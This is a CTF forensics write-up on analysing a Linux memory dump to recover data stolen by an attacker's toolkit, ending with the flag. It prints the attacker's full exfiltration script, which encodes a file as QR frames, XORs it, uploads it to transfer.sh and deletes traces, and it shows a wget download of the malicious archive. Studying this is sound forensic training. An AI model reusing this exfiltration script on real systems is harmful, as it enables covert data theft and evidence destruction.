Try   HackMD

KCSC CTF 2023 Write up

In this CTF competition, our team - Mugiwara - has a third place in KMA Scoreboard (9th place in expanding scoreboard).

You can follow our write up for all category here

Forensics

Linux is hurt

During the competition, I couldn't solve this challenge. So, I took time solving it after the competition ended.

Analyse memory dump

The challenge gives us a Linux memory dump file.

The first thing I do when I met a memory dump is using volatility3 to determine its symbol/profile.

I use plugin banners.

vol.py -f mem.bin banners
Volatility 3 Framework 2.4.2
Progress:  100.00               PDB scanning finished
Offset  Banner

0x38c001a0      Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 (Ubuntu 5.4.0-122.138-generic 5.4.192)
0x39ba0e54      Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 (Ubuntu 5.4.0-122.138-generic 5.4.192)
0x3cd00010      Linux version 5.4.0-122-generic (buildd@lcy02-amd64-095) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 (Ubuntu 5.4.0-122.138-generic 5.4.192)

Okay, the OS version of this memory dump is Ubuntu 20.04, Linux kernel version is 5.4.0-122-generic. And the version of Ubuntu can be analysed using Volatility2

First, we have to create a profile for memory dump. There are a lot of methods you can follow, I won't mention here.

After get profile, I start to analyse mem.bin. I'll check linux bash first using linux_bash plugin.

vol.py -f mem.bin --profile=LinuxUbuntu20_04-5_4_0-122-genericx64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    1293 bash                 2023-05-06 14:51:08 UTC+0000   whoami
    1293 bash                 2023-05-06 14:51:09 UTC+0000   ls
    1293 bash                 2023-05-06 14:51:11 UTC+0000   ?▲???~▼S??▼
    1293 bash                 2023-05-06 14:51:11 UTC+0000   ls
    1293 bash                 2023-05-06 14:51:11 UTC+0000   cd Documents/
    1293 bash                 2023-05-06 14:51:16 UTC+0000   wget 192.168.25.135:6969/toy.zip
    1293 bash                 2023-05-06 14:51:25 UTC+0000   7z x toy.zip -pmaltoy
    1293 bash                 2023-05-06 14:51:27 UTC+0000   ls -la
    1293 bash                 2023-05-06 14:51:33 UTC+0000   chmod +x *
    1293 bash                 2023-05-06 14:51:35 UTC+0000   ./evil
    1293 bash                 2023-05-06 14:51:43 UTC+0000   ls -la
    1293 bash                 2023-05-06 14:51:46 UTC+0000   rm -rf qr.png
    1293 bash                 2023-05-06 14:51:54 UTC+0000   ./deman.sh qr.png.enc out.gif
    1293 bash                 2023-05-06 14:52:24 UTC+0000   ls -la
    1293 bash                 2023-05-06 14:52:28 UTC+0000   wget -q https://github.com/microsoft/avml/releases/download/v0.11.2/avml
    1293 bash                 2023-05-06 14:53:36 UTC+0000   chmod +x avml
    1293 bash                 2023-05-06 14:53:44 UTC+0000   sudo ./avml mem.bin

It's like attacker control the victim machine and download something to exfiltrate data. Okay, we have to find and dump a file name toy.zip to analyse how it works and what data was exfiltrated.

I can find it using linux_enumerate_files plugin.

vol.py -f 'C:\Users\kietbui\Doc\KCSC2023\mem\mem.bin' --profile=LinuxUbuntu20_04-5_4_0-122-genericx64 linux_enumerate_files | Select-String "toy.zip"
Volatility Foundation Volatility Framework 2.6.1

0xffff9b12ec30cdf8                   2375910 /home/remnux/Documents/toy.zip

And dump it using linux_find_file plugin.

vol.py -f mem.bin --profile=LinuxUbuntu20_04-5_4_0-122-genericx64 linux_find_file -i 0xffff9b12ec30cdf8 -O toy.zip

I extract it, but the zip has some problems.

deman.sh is OK, but evil isn't extracted full data.

After drop it to hex editor, I understand why: the zip file lost more than half of the data after I dump it.

So I asked author for help, and he gave me a pcapng file captured the packet while he's downloading toy.zip.

Follow TCP stream and I can see toy.zip data.

I copy it and paste to HxD, remove the HTTP header and save it with the name "toy2.zip", then I extract it with password "maltoy" and get Evil full data.

Analyse deman.sh

Let's see what is in deman.sh

#!/bin/bash
file="$1"
output="$2"
if [ -z "$output" ]; then
    output = "output"
fi
if [ ! -f "$file" ]; then
    exit 1
fi
if [ "$(uname)" == "Darwin" ]; then
    filesize=$(stat -f "%z" "$file")
else
    filesize=$(stat -c%s "$file")
fi
chunksize=64
nchunks=$((filesize/chunksize))
for i in $(seq 0 $nchunks); do
    dd if="$file" of=chunk_"$i" bs="$chunksize" skip="$i" count=1
done
for i in $(seq 0 $nchunks); do
    qrencode -t png -o frame_"$i".png < chunk_"$i" -s 9
done
if [ "$(uname)" == "Darwin" ]; then
    ffmpeg -y -r 10 -i frame_%d.png $output
else
    ffmpeg  -i frame_%d.png $output  -y -r 10
fi
rm -f chunk_*
rm -f frame_*
xortool-xor -f $output -h $(openssl rand -hex 100) > $output.kcs
curl --upload-file ./$output.kcs https://transfer.sh/robots.txt
rm -f $output.kcs
rm -f $output
rm -f $1

Overview you can see this code take input, do something and upload it to transfer.sh as robots.txt

Back to the bash history, the attacker execute evil, remove qr.png and then run deman.sh with input = qr.png.enc and output = out.gif.

    1293 bash                 2023-05-06 14:51:35 UTC+0000   ./evil
    1293 bash                 2023-05-06 14:51:43 UTC+0000   ls -la
    1293 bash                 2023-05-06 14:51:46 UTC+0000   rm -rf qr.png
    1293 bash                 2023-05-06 14:51:54 UTC+0000   ./deman.sh qr.png.enc out.gif

Okay, I presume that the attacker encodes qr.png to qr.png.enc and use it as input for deman.sh, then exports output as out.gif.

In the deman.sh source code, you can see that the script remove all output, input, so you couldn't find anything in memory dump.

rm -f $output.kcs
rm -f $output
rm -f $1

But we can recover $output.kcs. Transfer.sh is a service that you can share file from the command-line. When you upload a file to transfer.sh, it will return a link to download. That is mean, we can download $out.kcs https://github.com/dutchcoders/transfer.sh https://ubunlog.com/vi/transfer-compartir-archivos-terminal/

So I dug into memory dump with strings grep (the ultimate weapon that we can use to beat any memory dump challenge) to find the download link.

Using wget, you can easily download this file.

The first time I saw this link, I thought it was a link that we could not access. After the competition ended, I solved it again and when I solved this challenge, I could not access this link, so I took a long time to find another way to solve it. I'm not the only one who have a problem with this link.

Fortunately, @1259iknowthat had downloaded it before and he send me robots.txt

I renamed it to out.gif.kcs

Let's analyse deman.sh more detail to see how it works.

#!/bin/bash
file="$1"
output="$2"
if [ -z "$output" ]; then
    output = "output"
fi
if [ ! -f "$file" ]; then
    exit 1
fi
if [ "$(uname)" == "Darwin" ]; then
    filesize=$(stat -f "%z" "$file")
else
    filesize=$(stat -c%s "$file")
fi
chunksize=64
nchunks=$((filesize/chunksize))
for i in $(seq 0 $nchunks); do
    dd if="$file" of=chunk_"$i" bs="$chunksize" skip="$i" count=1
done
for i in $(seq 0 $nchunks); do
    qrencode -t png -o frame_"$i".png < chunk_"$i" -s 9
done
if [ "$(uname)" == "Darwin" ]; then
    ffmpeg -y -r 10 -i frame_%d.png $output
else
    ffmpeg  -i frame_%d.png $output  -y -r 10
fi
rm -f chunk_*
rm -f frame_*
xortool-xor -f $output -h $(openssl rand -hex 100) > $output.kcs
curl --upload-file ./$output.kcs https://transfer.sh/robots.txt
rm -f $output.kcs
rm -f $output
rm -f $1
if [ -z "$output" ]; then
    output = "output"
fi
if [ ! -f "$file" ]; then
    exit 1

deman.sh assign "output" as a default value of $output. And check if the file does not exist, the program will stop.

if [ "$(uname)" == "Darwin" ]; then
    filesize=$(stat -f "%z" "$file")
else
    filesize=$(stat -c%s "$file")
fi

The program assign file size of file to filesize. And you don't need to care if [ "$(uname)" == "Darwin" ], the code run on Ubuntu linux machine, not the MacOS.

chunksize=64
nchunks=$((filesize/chunksize))

nchunks is the number of chunks split from the file.

for i in $(seq 0 $nchunks); do
    dd if="$file" of=chunk_"$i" bs="$chunksize" skip="$i" count=1
done

The program split data of $file into nchunks chunks and each chunk has name "chunk_"

for i in $(seq 0 $nchunks); do
    qrencode -t png -o frame_"$i".png < chunk_"$i" -s 9
done

The program use qrencode tool to generate QRCode from data of Chunk file and each QRCode has name "frame_"

if [ "$(uname)" == "Darwin" ]; then
    ffmpeg -y -r 10 -i frame_%d.png $output
else
    ffmpeg  -i frame_%d.png $output  -y -r 10
fi
rm -f chunk_*
rm -f frame_*

The program use ffmpeg to make a gif from frame and export it as $output. Remove all chunk and frame file.

xortool-xor -f $output -h $(openssl rand -hex 100) > $output.kcs

Then use xortool-xor xor $output with random 100-byte length hex and write data to $output.kcs.

Recover qr.png.enc

Okay, so if the xor key is random, how can we recover out.gif?

I did a few tests

First, I created siu.png.enc file.

Next, I modified deman.sh

Then, I executed it

Okay, I got out.gif, let's see its hex dump.

As you can see there are a lot of null bytes. So, I check out.gif.kcs, which is created by XOR out.gif with random key.

As you know, which one xor with null is equal to itself. We can recover xorkey by copy 100 hex from offset 64 to offset C7 (100 hex after)

12 71 9A C1 71 EC FF 7E C4 2B 6A 39 E9 24 99 46 9D 74 69 5E 39 6B AD 76 3B 60 85 D1 68 DE A8 CE 59 02 6B D8 EE BC 46 CE A5 EF 0C 66 AF E0 D9 EA 34 06 09 E7 46 54 66 80 8F 61 9E 7B 42 04 EF E2 D5 FF 49 6E B2 5B F4 7E B8 D2 43 D2 5F AE DC 20 FB 06 81 82 BB 0F 28 F9 D0 FD 22 5D 8B C8 39 71 B3 6D CE 8F

Using xortool-xor with this key to recover out.gif

xortool-xor -f out.gif.kcs -h 12719ac171ecff7ec42b6a39e92499469d74695e396bad763b6085d168dea8ce59026bd8eebc46cea5ef0c66afe0d9ea340609e7465466808f619e7b4204efe2d5ff496eb25bf47eb8d243d25faedc20fb068182bb0f28f9d0fd225d8bc83971b36dce8f > out.gif

out.gif

In order to get the content of qr.png.enc, I write a bash script split gif file into frames and scan QRCode.

#!/bin/bash

ffmpeg -i out.gif -vsync 0 frame_%d.png

for file in frame_*.png; do
    contents=$(zbarimg -q --raw "$file")
    echo "$contents" >> 'data.txt'
done

Content of qr.png.enc

s1VGv0oBj4Wsz+GqR5nYdw==OSxMSZRlAgmv+fLDdm2ZJJeABsi1ZLN20vLYG2EF
o+ccZsR/0bljlnC3hRRCLlskMGCd1N5Ci2st7CY9sz65YRWaHWkY1lnspuBzOnRv
OGibepJNEYwU/tNstEGC7xh7MElaVRgDyY8PzvKiQ5uCtElFI3I23QSP4KI5AtQR
eN0d7dvOQ9nqHgtTVr3wSVt6tPhLKQg1INiZDsjwELvYgXcx6QOpOn3GhJB8Tzks
Z7eksCs9BJ06RTRRPdHtKHAlLDxItgKo2yctR2lkcQMGU0nQDQW/YNx4medptGqR
8gjxR0SSC/xHyfFCYigWRIpQSN9ywVrs4RgBIUwqEH0Pr6lbE8URcuvm/9OVcPcR
XbokwfNHRNWabPF6pLmgnaETbFwfiBKAcEA6dmLvviSPMg==

Analyse Evil

It is ELF file, so I used IDA64 to analyse it.

It is likely Python ELF file.

I used PyInstaller Extractor to extract the contents of ELF.

And then, using uncompyle6 to decompile evil.pyc

$ uncompyle6 evil.pyc
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0]
# Embedded file name: evil.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from base64 import b64encode

def encryption(file, key):
    with open(file, 'rb') as (enc):
        data = enc.read()
        cipher = AES.new(key, AES.MODE_CFB)
        ciphertext = cipher.encrypt(pad(data, AES.block_size))
        iv = b64encode(cipher.iv).decode('UTF-8')
        ciphertext = b64encode(ciphertext).decode('UTF-8')
        write = iv + ciphertext
    enc.close()
    with open(file + '.enc', 'w') as (data):
        data.write(write)
    data.close()


while True:
    key = input()
    key = key.encode('UTF-8')
    key = pad(key, AES.block_size)
    filename = input()
    encryption(filename, key)
    break
# okay decompiling evil.pyc

This is a python code that encrypts data of qr.png to qr.png.enc using the AES CFB algorithm.

while True:
    key = input()
    key = key.encode('UTF-8')
    key = pad(key, AES.block_size)
    filename = input()
    encryption(filename, key)
    break

The script takes key from user input, padding bytes until it reaches the required size of key. It also takes input filename and then uses filename and key to encrypt using the encryption function.

def encryption(file, key):
    with open(file, 'rb') as (enc):
        data = enc.read()
        cipher = AES.new(key, AES.MODE_CFB)
        ciphertext = cipher.encrypt(pad(data, AES.block_size))
        iv = b64encode(cipher.iv).decode('UTF-8')
        ciphertext = b64encode(ciphertext).decode('UTF-8')
        write = iv + ciphertext
    enc.close()
    with open(file + '.enc', 'w') as (data):
        data.write(write)
    data.close()

The encryption function reads data from file and encrypts it with AES Mode CFB, and then writes data to qr.png.enc file. IV is encoded base64 and added to the beginning of ciphertext, so we can retrieve IV by taking 16-bytes at the beginning of qr.png.enc.

IV = s1VGv0oBj4Wsz+GqR5nYdw==

Find the key and decrypt

So, where to find the key?

Well, after knowing the key is from user input, I thought I could retrieve keyboard input data in event0 but couldn't. I also tried aeskeyfind, but all the key I got are wrong.

I did a test, that is using Evil to encrypt a png file.

And I remembered that the key was entered first then the filename, so I searched in memory dump the evil executable command and found:

At first sight, I didn't think it was a key, but everything could be a key, a strange key like this just in order to make the player skip.

Okay, so I wrote python script to solve it.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

# def encryption(file, key):
#     with open(file, 'rb') as (enc):
#         data = enc.read()
#         cipher = AES.new(key, AES.MODE_CFB)
#         ciphertext = cipher.encrypt(pad(data, AES.block_size))
#         iv = b64encode(cipher.iv).decode('UTF-8')
#         ciphertext = b64encode(ciphertext).decode('UTF-8')
#         write = iv + ciphertext
#     enc.close()
#     with open(file + '.enc', 'w') as (data):
#         data.write(write)
#     data.close()


def decryption(file, key):
    with open(file, 'r') as encrypted_file:
        encrypted_data = encrypted_file.read()
        iv = 's1VGv0oBj4Wsz+GqR5nYdw=='
        ciphertext = encrypted_data

        cipher = AES.new(key, AES.MODE_CFB, iv=b64decode(iv))
        decrypted_data = unpad(cipher.decrypt(b64decode(ciphertext)), AES.block_size)

    with open(file[:6], 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

while True:
    key = input()
    key = key.encode('UTF-8')
    key = pad(key, AES.block_size)
    filename = input()
    decryption(filename, key)
    break

Decode QR Code and get flag:

Flag: KCSC{K1_n13m_L1nuX}